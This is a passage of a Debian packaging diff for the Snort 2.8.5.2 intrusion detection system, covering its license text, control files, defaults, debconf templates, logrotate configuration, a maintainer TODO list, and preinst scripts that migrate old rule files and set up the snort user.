+   the Free Software Foundation; version 2 dated June, 1991.
+   You may not use, modify or distribute this program under any other version
+   of the GNU General Public License.
+
+   This package is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this package; if not, write to the Free Software
+   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+   MA  02110-1301  USA
+
+
+On Debian GNU/Linux systems, the complete text of the GNU General
+Public License can be found in `/usr/share/common-licenses/GPL-2'.
+
+Additional licenses / copyrights:
+---------------------------------
+
+Snort includes Winpcap which is:
+
+ * Copyright (c) 2001 - 2003
+ * NetGroup, Politecnico di Torino (Italy)
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 3. Neither the name of the Politecnico di Torino nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
--- snort-2.8.5.2.orig/debian/snort.default
+++ snort-2.8.5.2/debian/snort.default
@@ -0,0 +1,34 @@
+# Parameters for the daemon
+# Add any additional parameteres here.
+PARAMS="-m 027 -D -d "
+#
+# Snort user
+# This user will be used to launch snort. Notice that the 
+# preinst script of the package might do changes to the user 
+# (home directory, User Name) when the package is upgraded or
+# reinstalled.  So, do *not* change this to 'root' or to any other user 
+# unless you are sure there is no problem with those changes being introduced.
+# 
+SNORTUSER="snort"
+#
+# Logging directory
+# Snort logs will be dropped here and this will be the home
+# directory for the SNORTUSER. If you change this value you should
+# change the /etc/logrotate.d/snort definition too, otherwise logs
+# will not be rotated properly.
+#
+LOGDIR="/var/log/snort"
+#
+# Snort group
+# This is the group that the snort user will be added to.
+#
+SNORTGROUP="snort"
+# 
+# Allow Snort's init.d script to work if the configured interfaces
+# are not available. Set this to yes if you configure Snort with
+# multiple interfaces but some might not be available on boot
+# (e.g. wireless interfaces)
+# 
+# Note: In order for this to work the 'iproute' package needs to 
+# be installed.
+ALLOW_UNAVAILABLE="no"
--- snort-2.8.5.2.orig/debian/snort-common.config
+++ snort-2.8.5.2/debian/snort-common.config
@@ -0,0 +1,46 @@
+#!/bin/sh -e
+
+. /usr/share/debconf/confmodule
+
+# This is a list of deprecated preprocessors used to detect
+# bad configuration that will prevent Snort from running
+# based on http://cvs.snort.org/viewcvs.cgi/snort/src/preprocessors/Attic/
+OLD_PREPROCESSORS="anomsensor asn1 conversation defrag defrag2 fnord frag2 http_decode httpflow minfrag portscan portscan2 tcp_stream tcp_stream2 tcp_stream3 telnet_negotiation unidecode xlink2state"
+# List of valid preprocessors (taken from src/preprocessor)
+# or generated using:
+# grep RegisterPreprocessor src/preprocessors/* |perl -ne 'print $1." " if /\("(.*?)",/' |sort -u
+# [Currently not used since the user might have custom preprocessors]
+VALID_PREPROCESSORS="s4UDP s4UDPPrune arpspoof arpspoof_detect_host arpspoof bo backorifice flow flow frag3_global frag3_engine frag3 frag3insert frag3rebuild httpinspect PerfMonitor perfmon rpc_decode rpcdecode sfportscan sfportscan stream4 stream4_reassemble stream4_external s4 s4PktInsert s4NewSess s4GetSess s4State s4StateAsync s4StateAction s4Flush s4BuildPacket s4ProcessRebuilt s4StateActionAsync s4Prune stream5_global stream5_tcp stream5_udp stream5_icmp s5 s5tcp s5udp s5icmp"
+
+CONFIG_FILE=/etc/snort/snort.conf
+deprecated=0
+
+if test -f $CONFIG_FILE
+then
+	for prep in $OLD_PREPROCESSORS
+	do
+		found_deprecated=`egrep -i "^preprocessor $prep:+" $CONFIG_FILE | sed -e 's/:.*//'`
+		if [ -n "$found_deprecated" ] ; then
+			deprecated=1
+			deprecated_list="$found_deprecated $deprecated_list"
+		fi
+	done
+fi
+
+# We should warn the user if we found some deprecated preprocessor
+#
+# NOTE: This is done on config to urge the user to
+# overwrites the configuration later on if he is given the chance.
+if [ "$deprecated" -eq 1 ] ; then
+	deprecated_list=`echo $deprecated_list |sed -e 's/ $//'`
+#	echo "Your $CONFIG_FILE is using out of date preprocessors ($deprecated_list) you should upgrade!"
+	db_subst snort/deprecated_config DEP_CONFIG "$deprecated_list" || true
+	db_input high snort/deprecated_config || true
+	db_go || true
+fi
+
+db_stop
+
+#DEBHELPER# 
+
+exit 0
--- snort-2.8.5.2.orig/debian/control
+++ snort-2.8.5.2/debian/control
@@ -0,0 +1,138 @@
+Source: snort
+Section: net
+Priority: optional
+Maintainer: Javier Fernandez-Sanguino Pen~a <jfs@debian.org>
+Uploaders: Pascal Hakim <pasc@debian.org>
+Build-Depends: libnet1-dev, libpcap0.8-dev, libpcre3-dev, debhelper (>= 4.1.13), libmysqlclient-dev, libpq-dev, po-debconf (>= 0.5.0), libprelude-dev, iptables-dev [!kfreebsd-i386 !kfreebsd-amd64 !hurd-i386], libgnutls-dev
+Build-Depends-Indep: texlive, texlive-latex-base, gs-common
+Standards-Version:  3.8.3
+Homepage: http://www.snort.org/
+
+Package: snort
+Architecture: any
+Pre-Depends: adduser (>= 3.11)
+Depends: snort-common-libraries (>=${binary:Version}), snort-rules-default (>= ${source:Version}), debconf (>= 0.2.80) | debconf-2.0, rsyslog | system-log-daemon, ${shlibs:Depends}, snort-common (>= ${source:Version}), logrotate, ${misc:Depends}
+Conflicts: snort-mysql, snort-pgsql
+Replaces: snort-common (<< 2.0.2-3)
+Recommends: iproute
+Suggests: snort-doc
+Description: flexible Network Intrusion Detection System
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+ .
+ This package provides the plain-vanilla version of Snort and does not
+ provide database (available in snort-pgsql and snort-mysql) support.
+
+Package: snort-common
+Architecture: all
+Pre-Depends: adduser (>= 3.11)
+Depends: perl-modules, debconf (>= 0.2.80) | debconf-2.0, ${shlibs:Depends}, lsb-base, ${misc:Depends}
+Conflicts: snort (<< ${binary:Version})
+Replaces: snort (<< 1.8.4beta1-1)
+Suggests: snort-doc
+Description: flexible Network Intrusion Detection System [common files]
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+ .
+ This is a common package which holds cron jobs, tools and config files used
+ by all Snort-based packages.
+
+Package: snort-doc
+Architecture: all
+Depends: ${misc:Depends}
+Priority: optional
+Section: doc
+Description: Documentation for the Snort IDS [documentation]
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+
+Package: snort-mysql
+Provides: snort
+Architecture: any
+Priority: extra
+Pre-Depends: adduser (>= 3.11)
+Depends: snort-common-libraries (>=${binary:Version}), snort-rules-default (>= ${source:Version}), debconf (>= 0.2.80) | debconf-2.0, rsyslog | system-log-daemon, ${shlibs:Depends}, snort-common (>= ${source:Version}), logrotate, ${misc:Depends}
+Recommends: iproute
+Suggests: snort-doc
+Conflicts: snort, snort-pgsql
+Homepage: http://www.snort.org/
+Description: flexible Network Intrusion Detection System [MySQL]
+ Distribution of Snort with support for logging to a MySQL database.
+ .
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+
+Package: snort-pgsql
+Provides: snort
+Architecture: any
+Priority: optional
+Depends: snort-common-libraries (>=${binary:Version}), snort-rules-default (>= ${source:Version}), debconf (>= 0.2.80) | debconf-2.0, adduser (>= 3.11), rsyslog | system-log-daemon, ${shlibs:Depends}, snort-common (>= ${source:Version}), logrotate, ${misc:Depends}
+Recommends: iproute
+Suggests: snort-doc
+Conflicts: snort, snort-mysql
+Description: flexible Network Intrusion Detection System [PostgreSQL]
+ Distribution of Snort with support for logging to a PostgreSQL dbase.
+ .
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+
+Package: snort-rules-default
+Provides: snort-rules
+Architecture: all
+Depends: debconf (>= 0.2.80) | debconf-2.0, adduser (>= 3.11), ${shlibs:Depends}, ${misc:Depends}
+Suggests: snort (>= 2.2.0) | snort-pgsql (>= 2.2.0) | snort-mysql (>= 2.2.0)
+Recommends: oinkmaster
+Homepage: http://www.snort.org/rules/
+Description: flexible Network Intrusion Detection System ruleset
+ Snort default ruleset which provides a common set of accepted and test
+ network intrusion detection rules developed by the Snort community.
+ .
+ These rules can be used as a basis for development of additional rules.
+
+Package: snort-common-libraries
+Architecture: any
+Depends: ${shlibs:Depends}, ${misc:Depends}
+Suggests: snort (>= 2.7.0) | snort-pgsql (>= 2.7.0) | snort-mysql (>= 2.7.0)
+Conflicts: snort-common (<< 2.7.0-6)
+Description: flexible Network Intrusion Detection System ruleset
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+ .
+ This package provides libraries used by all the Snort binary packages.
+
--- snort-2.8.5.2.orig/debian/TODO
+++ snort-2.8.5.2/debian/TODO
@@ -0,0 +1,85 @@
+
+TODO things for Snort in Debian
+-------------------------------
+
+- Offer the user an option to automatically create the database since
+  the schemas (at /usr/share/doc/snort*) stuff is not available on installation.
+
+  This confuses users since they are asked for some information (network
+  interface, IP address) but not the information related to database
+  configuration.
+
+  Use dbconfig-common for this. 
+
+  Review what other packages (gnudip? horde? imp? sitebar? openwebmail?)
+  have done and consider the use of the generic user for database
+  administration.  Note that database permissions for the 'snort' 
+  user need to be properly setup!
+  Also see: http://lists.debian.org/debian-devel/2004/08/msg01104.html
+  http://lists.debian.org/debian-devel/2004/10/msg00340.html
+  and
+  http://lists.debian.org/debian-devel/2004/10/msg00962.html
+
+- Include Rpm improvements to the init.d file suchas :
+
+   * The init.d file could use separate LOGDIR files per interface instead of
+     one for all instances (bound to break) just like it's done in the RedHat
+     init script. The check_logdir function should be called per possible LOGDIR
+     definition. If the LOGDIR did not exist it should be created with proper
+     permissions.
+
+     Note: logrotate definitions will need to be changed if this is changed
+
+   * stats option in the init.d file
+   * Additional /etc/default/snort parameters similar to the RPM ones for
+     compatibility
+
+- Include ntop improvements to init.d script: check if interface is up
+
+- Use LSB functions in Init.d script
+
+- Use ucf to integrate changes by the maintainer when upgrading
+
+- Break up the init.d script into reusable functions 
+  Also: add a check in order to determine if the snort sensor started
+  up properly or it did not.
+
+- The check_log_dir check in the init.d script could best check if the
+  LOGDIR directory is writable by the snort user. It might not be good
+  (security-wise) to force it's owned by the snort user (since then
+  it would be able to remove its own logs)
+
+- Check if --enable-flexresp works with libnet 1.1.x
+
+- The snort-common package currently does not check if you _accepted_ the
+  config file provided, this is related to bug #247665 which is partially
+  fixed by the snort-common Source-Version depends introduced in 2.2.0-2
+
+- Provide support to avoid specifying the address range for multiple
+  interfaces (or skip this if you have more than once and substitute
+  by a note telling the admin to configure this in the snort.$IFACE.conf 
+  file).  This could be done using 'ip addr show $IFACE' and extracting
+  the vaule from the 'inet' component.
+
+- Rewrite the "address range" question. It actually does not explain what
+  it is actually used for (HOME_NET)
+
+- Try to use the interface defined IP address to set the address range (and
+  lower the questions priority
+  This should also handle multiple interfaces.
+  (see bug #248000)
+
+- Add some common logcheck rules (see #222584, and #217175)
+
+DONE
+
+- Determine, if the interface is configured and up.
+ (see bug #248000)
+
+- Have a way in preinst to migragte from the old common.parameters to the
+  new /etc/default/snort so that all users can benefit from it. 
+
+- Provide an update script, as required in #191105
+  Done: snort-rules-default currently recommends: 'oinkmaster' better
+  that than maintaining a separate update script unmaintained upstream.
+
--- snort-2.8.5.2.orig/debian/snort.logrotate
+++ snort-2.8.5.2/debian/snort.logrotate
@@ -0,0 +1,16 @@
+/var/log/snort/portscan.log /var/log/snort/alert /var/log/snort/portscan2.log {
+    daily
+    rotate 7
+    compress
+    missingok
+    notifempty
+    create 0640 snort adm
+    sharedscripts
+    postrotate
+        if [ -x /usr/sbin/invoke-rc.d ]; then \
+            invoke-rc.d snort restart > /dev/null; \
+        else \
+            /etc/init.d/snort restart > /dev/null; \
+        fi; 
+    endscript
+}
--- snort-2.8.5.2.orig/debian/control.inline
+++ snort-2.8.5.2/debian/control.inline
@@ -0,0 +1,145 @@
+Source: snort
+Section: net
+Priority: optional
+Maintainer: Javier Fernandez-Sanguino Pen~a <jfs@computer.org>
+Uploaders: Pascal Hakim <pasc@debian.org>
+Build-Depends: libnet1-dev, libpcap0.8-dev, libpcre3-dev, debhelper (>= 4.1.13), libmysqlclient15-dev | libmysqlclient-dev, libpq-dev, po-debconf (>= 0.5.0), texlive, texlive-latex-base, gs-common, libprelude-dev, iptables-dev
+Standards-Version: 3.5.6
+
+Package: snort
+Architecture: any
+Pre-Depends: adduser (>= 3.11)
+Depends: snort-rules-default (>= ${Source-Version}), debconf (>= 0.2.80) | debconf-2.0, syslogd | system-log-daemon, ${shlibs:Depends}, snort-common (>= ${Source-Version}), logrotate, coreutils
+Conflicts: snort-mysql, snort-pgsql
+Replaces: snort-common (<< 2.0.2-3)
+Recommends: snort-doc
+Description: Flexible Network Intrusion Detection System
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+ .
+ This package provides the plain-vanilla snort distribution and does not
+ provide database (available in snort-pgsql and snort-mysql) or
+ inline (available in snort-inline) support.
+ .
+ Homepage: http://www.snort.org
+
+Package: snort-inline
+Provides: snort
+Architecture: any
+Priority: optional
+Depends: snort-rules-default (>= ${Source-Version}), debconf (>= 0.2.80) | debconf-2.0, adduser (>= 3.11), syslogd | system-log-daemon, ${shlibs:Depends}, snort-common (>= ${Source-Version}), logrotate, coreutils
+Conflicts: snort, snort-mysql
+Description: Flexible Network Intrusion Detection System [Inline]
+ Distribution of Snort with inline support.
+ .
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+ .
+ Homepage: http://www.snort.org
+
+
+Package: snort-common
+Architecture: all
+Pre-Depends: adduser (>= 3.11)
+Depends: perl-modules, debconf (>= 0.2.80) | debconf-2.0, syslogd | system-log-daemon, ${shlibs:Depends}
+Conflicts: snort (<< ${Source-Version})
+Replaces: snort (<< 1.8.4beta1-1)
+Suggests: snort-doc
+Description: Flexible Network Intrusion Detection System [common files]
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+ .
+ This is a common package which holds cron jobs, tools and config files used
+ by all Snort-based packages.
+ .
+ Homepage: http://www.snort.org
+
+Package: snort-doc
+Architecture: all
+Priority: optional
+Section: doc
+Description: Documentation for the Snort IDS [documentation]
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+ .
+ Homepage: http://www.snort.org
+
+Package: snort-mysql
+Provides: snort
+Architecture: any
+Priority: extra
+Pre-Depends: adduser (>= 3.11)
+Depends: snort-rules-default (>= ${Source-Version}), debconf (>= 0.2.80) | debconf-2.0, syslogd | system-log-daemon, ${shlibs:Depends}, snort-common (>= ${Source-Version}), logrotate, coreutils
+Conflicts: snort, snort-pgsql
+Description: Flexible Network Intrusion Detection System [MySQL]
+ Distribution of Snort with support for logging to a MySQL database.
+ .
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+ .
+ Homepage: http://www.snort.org
+
+Package: snort-pgsql
+Provides: snort
+Architecture: any
+Priority: optional
+Depends: snort-rules-default (>= ${Source-Version}), debconf (>= 0.2.80) | debconf-2.0, adduser (>= 3.11), syslogd | system-log-daemon, ${shlibs:Depends}, snort-common (>= ${Source-Version}), logrotate, coreutils
+Conflicts: snort, snort-mysql
+Description: Flexible Network Intrusion Detection System [PostgreSQL]
+ Distribution of Snort with support for logging to a PostgreSQL dbase.
+ .
+ Snort is a libpcap-based packet sniffer/logger which can be used as a
+ lightweight network intrusion detection system. It features rules
+ based logging and can perform content searching/matching in addition
+ to being used to detect a variety of other attacks and probes, such
+ as buffer overflows, stealth port scans, CGI attacks, SMB probes, and
+ much more. Snort has a real-time alerting capability, with alerts being
+ sent to syslog, a separate "alert" file, or even to a Windows computer
+ via Samba.
+ .
+ Homepage: http://www.snort.org
+
+Package: snort-rules-default
+Provides: snort-rules
+Architecture: all
+Depends: debconf (>= 0.2.80) | debconf-2.0, adduser (>= 3.11), syslogd | system-log-daemon, ${shlibs:Depends}
+Suggests: snort (>= 2.2.0) | snort-pgsql (>= 2.2.0) | snort-mysql (>= 2.2.0)
+Recommends: oinkmaster
+Description: Flexible Network Intrusion Detection System ruleset
+ Snort default ruleset which provides a common set of accepted and test
+ network intrusion detection rules developed by the Snort community.
+ .
+ These rules can be used as a basis for development of additional rules.
+ .
+ Homepage: http://www.snort.org/rules/
+
--- snort-2.8.5.2.orig/debian/snort.DATABASE.templates
+++ snort-2.8.5.2/debian/snort.DATABASE.templates
@@ -0,0 +1,41 @@
+
+Template: snort{PACKAGE}/configure_db
+Type: boolean
+Default: true
+_Description: Set up a database for snort{PACKAGE} to log to?
+ No database has been set up for Snort to log to. Before continuing,
+ you should make sure you have:
+ .
+  - the server host name (that server must allow TCP connections
+    from this machine);
+  - a database on that server;
+  - a username and password to access the database.
+ .
+ If some of these requirements are missing, reject this option and
+ run with regular file logging support.
+ .
+ Database logging can be reconfigured later by running
+ 'dpkg-reconfigure -plow snort{PACKAGE}'.
+
+Template: snort{PACKAGE}/db_host
+Type: string
+_Description: Database server hostname:
+ Please specify the host name of a database server that allows
+ incoming connections from this host.
+
+Template: snort{PACKAGE}/db_database
+Type: string
+_Description: Database name:
+ Please specify the name of an existing database to which the
+ database user has write access.
+
+Template: snort{PACKAGE}/db_user
+Type: string
+_Description: Username for database access:
+ Please specify a database server username with write access to the database.
+
+Template: snort{PACKAGE}/db_pass
+Type: password
+_Description: Password for the database connection:
+ Please enter the password to use to connect to the Snort Alert database.
+
--- snort-2.8.5.2.orig/debian/snort-rules-default.preinst
+++ snort-2.8.5.2/debian/snort-rules-default.preinst
@@ -0,0 +1,127 @@
+#!/bin/sh -e
+
+# Preinst for snort-common-rules, currently only handles
+# migration from old /etc/snort to new /etc/snort setup
+#
+
+
+check_md5() {
+# if the MD5sum matches the user has not modified it, remove it
+# if it does not match then just move it to the new location
+    [ ! -f "$1" ] && return 1
+    [ -z "$2" ] && return 1
+    if md5sum $1 2>/dev/null |grep -q $2; then
+    	    echo "Removing $1 since it has not been changed"
+            rm -f $1
+    else
+    # Optionally move to a directory
+    	    if [ -n "$3" ] && [ -d "$3" ] ; then
+	    	    echo "Moving $1 to $3"
+    		    mv $1 $3
+	    fi
+    fi
+}
+
+
+if [ ! -d /etc/snort/rules ]
+then
+	mkdir -p /etc/snort/rules
+	chown root:root /etc/snort/rules
+	chmod 755 /etc/snort/rules
+fi
+
+case "$1" in
+    install|upgrade)
+        if [ "x$2" != "x" ] ; then
+            if dpkg --compare-versions $2 lt 1.9.0beta4-1 ; then
+		if [ ! -z "`ls /etc/snort/*.rules 2>/dev/null | head -1`" ]
+		then
+			echo "Checking if old rulefiles have been changed"
+			echo "
+3bc265bef3ff5fc675f9f1acf8ea6390  attack-responses.rules
+3bc265bef3ff5fc675f9f1acf8ea6390  attack-responses.rules
+c20eb0f3f140b7659ebd37f2e3553f2d  backdoor.rules
+08b710276367c03fcd26d1b3512a870d  bad-traffic.rules
+48683f29e6452e4e43f1af004f537485  ddos.rules
+f605e07289ace0adc279aa46225834a5  dns.rules
+b231ab5af973df5f06201f16be8a37ff  dos.rules
+31788f18caaed776f021e5029bdd6757  exploit.rules
+3f0c90491298edd0dfc37a6afc9ffac6  finger.rules
+a2f2068460b622a85624b664d9108b36  ftp.rules
+c580f094d32435915f893c2661fb73dc  icmp-info.rules
+3abbb384dd222225560ec87b324b63ce  icmp.rules
+9159fed0eda9c16245f4c6edb94c0d7c  info.rules
+8005f28d5e2400c474a7b765029eefb5  local.rules
+8204b5ce028496bca3f95a06dfca10b9  misc.rules
+f63f7c3c9a9f627521b0dcce1e134f1f  netbios.rules
+fe402fc3c9e795ea22af59be84683be5  policy.rules
+00b1e66fe86b46bf94460320ca71d972  porn.rules
+c23be32425937a87219ccd0ee4f85813  rpc.rules
+82a173d9144a11ea1e686fcec730549a  rservices.rules
+c9dd621a43c896dde6dd2da09575897f  scan.rules
+55a0e660ea08c314cf4d5c19f7973f83  shellcode.rules
+b304d4b570e94112d6b025d6a55007c1  smtp.rules
+ccff2e48615eb7d27466b26a9dd66b66  sql.rules
+f68e3bee2ab97ce729f20a0f4751ca04  telnet.rules
+a263d7e4526e8012aafd9daf62690519  tftp.rules
+2abd1c03364a8a1c01650764cf2af2f1  virus.rules
+fe239ae24a682d3d47251c28689fc9ec  web-attacks.rules
+2e99d333c4ab20bfd3f5694915b6d591  web-cgi.rules
+3051d9dda0ed859487580733b2a318d2  web-coldfusion.rules
+b7fc9e8371d04b5ec203651c15135657  web-frontpage.rules
+e7100df55b15a262f45d0a2940594d1f  web-iis.rules
+028a217dbdc67fea026a1f7c3dd6560b  web-misc.rules
+6e85b6a55b84bffc29fd58b8e6747b65  x11.rules
+c20eb0f3f140b7659ebd37f2e3553f2d  backdoor.rules
+08b710276367c03fcd26d1b3512a870d  bad-traffic.rules
+48683f29e6452e4e43f1af004f537485  ddos.rules
+f605e07289ace0adc279aa46225834a5  dns.rules
+b231ab5af973df5f06201f16be8a37ff  dos.rules
+31788f18caaed776f021e5029bdd6757  exploit.rules
+3f0c90491298edd0dfc37a6afc9ffac6  finger.rules
+a2f2068460b622a85624b664d9108b36  ftp.rules
+c580f094d32435915f893c2661fb73dc  icmp-info.rules
+3abbb384dd222225560ec87b324b63ce  icmp.rules
+9159fed0eda9c16245f4c6edb94c0d7c  info.rules
+8005f28d5e2400c474a7b765029eefb5  local.rules
+8204b5ce028496bca3f95a06dfca10b9  misc.rules
+f63f7c3c9a9f627521b0dcce1e134f1f  netbios.rules
+fe402fc3c9e795ea22af59be84683be5  policy.rules
+00b1e66fe86b46bf94460320ca71d972  porn.rules
+c23be32425937a87219ccd0ee4f85813  rpc.rules
+82a173d9144a11ea1e686fcec730549a  rservices.rules
+c9dd621a43c896dde6dd2da09575897f  scan.rules
+55a0e660ea08c314cf4d5c19f7973f83  shellcode.rules
+b304d4b570e94112d6b025d6a55007c1  smtp.rules
+ccff2e48615eb7d27466b26a9dd66b66  sql.rules
+f68e3bee2ab97ce729f20a0f4751ca04  telnet.rules
+a263d7e4526e8012aafd9daf62690519  tftp.rules
+2abd1c03364a8a1c01650764cf2af2f1  virus.rules
+fe239ae24a682d3d47251c28689fc9ec  web-attacks.rules
+2e99d333c4ab20bfd3f5694915b6d591  web-cgi.rules
+3051d9dda0ed859487580733b2a318d2  web-coldfusion.rules
+b7fc9e8371d04b5ec203651c15135657  web-frontpage.rules
+e7100df55b15a262f45d0a2940594d1f  web-iis.rules
+028a217dbdc67fea026a1f7c3dd6560b  web-misc.rules
+6e85b6a55b84bffc29fd58b8e6747b65  x11.rules 
+" |
+			while read md5sum file ; do
+				check_md5 /etc/snort/$file $md5sum /etc/snort/rules/
+			done
+			echo "Finished check of old rulefiles"
+			# Classification config modified?
+			check_md5 /etc/snort/classification.config 183a351fc8c3a60ed9fbbb8194e4eda1
+		fi
+            fi
+        fi
+    ;;
+    abort-upgrade)
+    ;;
+    *)
+        echo "preinst called with unknown argument \`$1'" >&2
+        exit 1
+    ;;
+esac
+
+
+#DEBHELPER#
--- snort-2.8.5.2.orig/debian/snort-pgsql.preinst
+++ snort-2.8.5.2/debian/snort-pgsql.preinst
@@ -0,0 +1,119 @@
+#!/bin/sh
+
+set -e
+
+# summary of how this script can be called:
+#        * <new-preinst> `install'
+#        * <new-preinst> `install' <old-version>
+#        * <new-preinst> `upgrade' <old-version>
+#        * <old-preinst> `abort-upgrade' <new-version>
+
+DEFAULT=/etc/default/snort
+PARAMETERS=/etc/snort/snort.common.parameters
+
+# Initialise variables
+SNORTUSER=""
+SNORTGROUP=""
+LOGDIR=""
+
+check_parameters() {
+# Check if the old parameters file is there and this is
+# an upgrade (default is not)
+	# Abort if either the old parameters file does not exist
+	# or if the new default has already been installed
+	[ ! -r "$PARAMETERS" ] && return 
+	[ -r "$DEFAULT" ] && return 
+	
+	# Extract our values from there
+	logdir=`cat $PARAMETERS | perl -ne 'print $1 if /-l\s+([\w\/]+)/'`
+	user_snort=`cat $PARAMETERS | perl -ne 'print $1 if /-u\s+(\w+)/'`
+	group_snort=`cat $PARAMETERS | perl -ne 'print $1 if /-g\s+(\w+)/'`
+	extraparms=`cat $PARAMETERS  | sed -e 's/-l[[:space:]]\+[\/[:alnum:]]\+[[:space:]]\+//g; s/-u[[:space:]]\+[[:alnum:]]\+[[:space:]]*//g; s/-g[[:space:]]\+[[:alnum:]]\+[[:space:]]*//g;'`
+	echo "Creating new $DEFAULT configuration based on $PARAMETERS"
+	cat <<EOF >$DEFAULT
+# Parameters for the daemon
+PARAMS="$extraparms"
+# Logging directory
+LOGDIR="$logdir"
+# Snort user
+SNORTUSER="$user_snort"
+# Snort group
+SNORTGROUP="$group_snort"
+EOF
+	return
+}
+
+case "$1" in
+    install|upgrade)
+
+	check_parameters
+	[ -r "$DEFAULT" ] && . $DEFAULT
+	# Sane defaults, just in case
+	[ -z "$SNORTUSER" ] && SNORTUSER=snort
+	[ -z "$SNORTGROUP" ] && SNORTGROUP=snort
+	[ -z "$LOGDIR" ] && LOGDIR=/var/log/snort
+
+	# create snort user to avoid running snort as root
+	# 1. create group if not existing
+	if ! getent group | grep -q "^$SNORTGROUP:" ; then
+		addgroup --quiet --system $SNORTGROUP 2>/dev/null || true
+	fi
+	# 2. create homedir if not existing
